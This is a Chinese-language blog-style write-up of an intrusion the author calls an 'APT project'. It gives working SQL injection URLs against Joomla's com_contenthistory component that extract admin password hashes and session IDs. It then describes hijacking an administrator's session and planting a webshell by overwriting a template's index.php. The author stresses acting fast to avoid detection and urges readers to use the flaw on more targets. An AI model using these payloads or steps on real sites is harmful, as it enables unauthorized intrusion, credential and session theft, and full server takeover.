这本来是一个APT项目,所以详细内容不方便具体透露,涉及到敏感的东西,我用本地测试环境代替。
之前渗透的时候,目标站大部分都是joomla的cms,当时就放弃了,最近joomla的sql注入漏洞让我重新燃起了希望,然后找到所有的joomla,根据后台的样子,大概判断版本,然后找到了两个子站存在问题。
测试爆出管理员密码。语句如下:
http://10.211.55.3/joomla/index.php?option=com_contenthistory&view=history&list[ordering] =&item_id=1&type_id=1&list[select]=(select 1 from (select count(*),concat((select (select co ncat(password)) from %23__users limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
然后爆出密码(目前网站已经修复了该漏洞,所以以下截图均为本地测试图片。)
得到加密后的密码,然而实际渗透上,我得到的密码,根本解不开。这个方法也就没用了,但是文章中还给了一个爆出session的语句如下:
/index.php?option=com_contenthistory&view=history&list[ordering]=&item_id=75&type_id=1&li st[select]= (select 1=updatexml(1,concat(0x5e24,(select session_id from jml_session limit 0,1),0x5e24),1))
这里需要修改数据表的前缀。然而,这个爆出来的session并不一定能登陆后台:
刷新后,仍然无法登陆。
这里当时todaro牛给换了一个语句,条件改成了where username =’admin’这样的,但是这样是不会出结果的。完整语句:
/index.php?option=com_contenthistory&view=history&list[ordering]=&item_id=75&type_id=1&li st[select]= (select 1=updatexml(1,concat(0x5e24,(select session_id from test_session where username=’admin’ limit 0,1),0x5e24),1))
这条语句当时我测试不成功,现在本地做实验可以成功,大家都可以试一试,当时不成功以后,我看本地环境中只有userid这个值很奇怪。所以,更改了语句
/index.php?option=com_contenthistory&view=history&list[ordering]=&item_id=75&type_id=1&li st[select]= (select 1=updatexml(1,concat(0x5e24,(select session_id from test_session where userid !=0 limit 0,1),0x5e24),1))
当时出现一个demo用户的session值,也无法登陆。后来,等了几天,管理员一登陆,我就赶快记录下session,登陆了后台。
刷新一下,进入后台。
进入后台,然后就是getshell了。由于getshell是通过修改模版去getshell,所以要快,要不被发现就不好了。后台选择extensions--templates,如图:
进入到这个页面
然后选择左侧的templates,进入该页面。
选择一个模版去修改,比如第一个,点击标题即可。进入后,选择左侧index.php(这里随便选)然后备份好内容后。
清空内容,更改为webshell,然后save&close。
然后点close,返回到选择模版页面,点击左侧style,进入该页面。
使用后面的星星设置修改的模版为默认值。
然后,直接使用菜刀连接
成功拿到shell权限,实际渗透中很多信息不便透露,还请见谅。就是希望大家用这个洞,多做些项目。最后再次感谢todaro给予的支持和帮助。